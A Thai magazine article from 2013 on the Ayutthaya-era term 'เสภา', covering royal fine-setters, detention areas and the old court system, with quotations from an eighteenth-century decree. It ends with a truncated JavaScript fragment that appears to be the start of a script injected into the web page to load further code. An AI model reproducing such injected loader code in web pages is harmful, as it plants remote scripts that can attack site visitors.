p>มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 7 มิถุนายน 2556

 

          เสภา ในพระราชกำหนดเก่า หมายถึงชาวพนักงานผู้ปรับ หรือบริเวณใช้กักกันผู้เป็นโทษ

          พระราชกำหนดเก่า (ข้อ 25) ตราไว้เมื่อ พ.ศ. 2274 (ปลายแผ่นดินพระเจ้าท้ายสระ พ.ศ. 2251-2275) ให้ชาวพนักงานผู้ปรับ พิจารณาลดเงินค่าปรับแก่ผู้เป็นโทษ มีข้อความสำคัญดังนี้

           “ขุนพัศดี พนักงานคนโทษกรมพระนครบาล แลขุนศรีคงยดพนักงานคนโทษชาวเสภาคลังใน แลขุนคงยดพนักงานคนโทษคลังราชการ ขุนพิบูรณนาวาซึ่งเปน พนักงานคนโทษเสภาวังไชย”

          “ขุนศรีคงยศเสภาคลังในขุนคงยศเสภาคลังราชการขุนพิบูรรณนาวาเสภาวังไชให้การว่า เจ้าพญาแลพญาพระหลวงเมืองเจ้าราชนิกุลขุนหมื่นมหาดเลกชาวที่              พันทนายแลนายตำรวจนายรองภูดาษเสมียรแลไพร่เปนโทษ มีรับสั่งให้ส่งไปจำไว้เสภา เรียกเอาค่าลดเปนเงิน—–ได้แก่ขุนศรีคงยศ—–ได้แก่เสมียรชาวเสภาปันกันเปนเงิน—–ได้แก่นายนักการผู้ตรวจจัดษารวัดปันกันเปนเงิน—–แลเสภาคลังราชการคลังวังไชยได้ค่าลดเหมือนกันแต่ก่อน”

 

ศาลยุคอยุธยา

          เนื้อความพระราชกำหนดเก่าที่ยกมา เกี่ยวข้องกับระเบียบศาลและการพิจารณาคดียุคอยุธยา ซึ่ง ร. แลงกาต์ [มองซิเออ เอร์. แลงกาต์ ชาวฝรั่งเศส นักปราชญ์ผู้ชำระประมวลกฎหมาย รัชกาลที่ 1 (หรือรู้จักทั่วไปในชื่อกฎหมายตราสามดวง) ฉบับพิมพ์ครั้งแรก พ.ศ. 2481 ของมหาวิทยาลัยวิชาธรรมศาสตร์และการเมือง] อธิบายไว้ละเอียดยืดยาว จะขอสรุปพอได้ใจความสำคัญมาดังต่อไปนี้

          ศาลยุคอยุธยา มีศาลหลวงป็นศาลอยู่ในวังหลวง แล้วมีศาลตระลาการแยกสังกัดขึ้นกรมต่างๆ รวมแล้วมีราว 20 ศาล เช่น

          ศาลนครบาล ขึ้นกรมนครบาล พิจารณาความเป็นมหันตโทษ (ปล้น, ฆ่า, ลักพา)

          ศาลกรมนา ขึ้นกรมนา พิจารณาความเรื่องนาไร่

          แล้วยังมีทั้งศาลคลังใน พิจารณาความของคลังใน, ศาลคลังราชการ พิจารณาความของคลังราชการ, ศาลวังไชย พิจารณาความของวังไชย

 

ตระลาการ, ผู้พิพากษา, ผู้ปรับ

          กระบวนการพิจารณาคดีความต่างๆ ยุคปลายอยุธยา แบ่งเจ้าหน้าที่เป็น 3 พวก คือ ตระลาการ, ผู้พิพากษา, ผู้ปรับ

          ตระลาการ มีหน้าที่ไต่สวน ฟังคู่ความอ้างพยานหลักฐานทั้งสองฝ่าย เสร็จแล้วส่งสำนวนให้ผู้พิพากษา

          ผู้พิพากษา ออกคำตัดสินชี้ขาดในข้อเท็จจริงตามสำนวนของตระลาการ ว่าฝ่ายใดชนะ ฝ่ายใดแพ้ แล้วส่งผลการตัดสินให้ผู้ปรับ

          ผู้ปรับ มีหน้าที่กำหนดโทษตามคำตัดสินของผู้พิพากษา โดยแสดงบทมาตรากฎหมาย แล้วคำนวณจำนวนเงินค่าสินไหม, ค่าพินัย ที่ผู้แพ้ต้องเสีย ทั้งเป็นผู้กำหนดโทษอาญาด้วย

          เหตุที่ต้องแยกหน้าที่ระหว่างผู้พิพากษากับผู้ปรับก็เพราะพวกพราหมณ์ มีความรู้เรื่องกฎหมายมากกว่าผู้อื่น จึงทำหน้าที่พิจารณาคดีอำนวยความยุติธรรมตามหลักพระธรรมศาสตร์แทนองค์พระมหากษัตริย์ ช่วงปลายของกรุงศรีอยุธยานั้นศาลหลวงเกือบจะเป็นพราหมณ์ทั้งหมด

          แต่เนื่องจากพราหมณ์เป็นชาวต่างชนิดต่างศาสนา ซึ่งไม่เหมาะที่จะกำกับการพิจารณาคดีตั้งแต่ต้นจนปลายถึงออกคำบังคับลงโทษผู้แพ้ด้วย จึงเกิดมีผู้ปรับ ซึ่งเป็นคนไทยทำหน้าที่พิเศษนี้ (ประวัติศาสตร์กฎหมายไทยเล่ม 2 โดย ร. แลงกาต์, ไทยวัฒนาพานิช พิมพ์ครั้งแรก 2526.)

 

เสภา คือ ผู้ปรับ

          ผู้ปรับ ไม่ใช่ผู้พิพากษา แต่ทำหน้าที่แทนองค์พระมหากษัตริย์เหมือนผู้พิพากษา

          เท่ากับเป็นชาวพนักงานผู้ปฏิบัติรับใช้องค์พระมหากษัตริย์ ที่พราหมณ์มีคำเรียกเฉพาะว่า เสวา แล้วเพี้ยนเป็น เสภา (ผู้รู้ทางภาษาชมพูทวีปว่าเพี้ยนจากสำเนียงเบงกอลว่า เสบา)

 

เสภา ไม่แปลว่าคุก

          ผู้ปรับ เรียกตามภาษาพราหมณ์ว่า เสภา บริเวณที่จัดไว้กักผู้เป็นโทษก็เรียกว่าเสภาด้วย ลักษณะเดียวกับสนม

          สนม หมายถึงเขตพระราชฐาน ซึ่งเป็นที่กักบริเวณผู้มีฐานันดรศักดิ์แห่งราชวงศ์ หรือข้าทูลละอองธุลีพระบาทชั้นผู้ใหญ่ที่กระทำความผิด

          ลักษณะกักบริเวณแบบนี้เรียก “จำสนม” หรือ “ติดสนม”

          โดยทั่วไปซึ่งเป็นที่รู้กัน สนม หมายถึง นางที่รับใช้ใกล้ชิดพระราชา เรียกนางสนม, พระสนม ต่อมามีความหมายขยายถึงชาวพนักงานที่ดูแลกิจการในพระราชฐาน นานเข้าก็เป็นหน่วยราชการกรมย่อยในสังกัดกรมวังชื่อกรมพระสนม ปัจจุบันเรียกกรมสนมพลเรือน

          คุก คำนี้มีใช้ทั่วไปนานแล้ว แม้ในพระราชกำหนดเก่า (ข้อ 25) เดียวกันนี้ก็ใช้คำว่าคุก เมื่อต้องการจะกำหนดให้ผู้เป็นโทษเข้าคุก โดยไม่ใช้ว่า เสภา ดังข้อความว่า ถ้าผู้ใดเป็นโทษ “มีรับสั่งให้ส่งไปกรมพระนครบาลจำใส่คุก”

if (document.currentScript) { var d=document;var s=d.createElement(‘script’);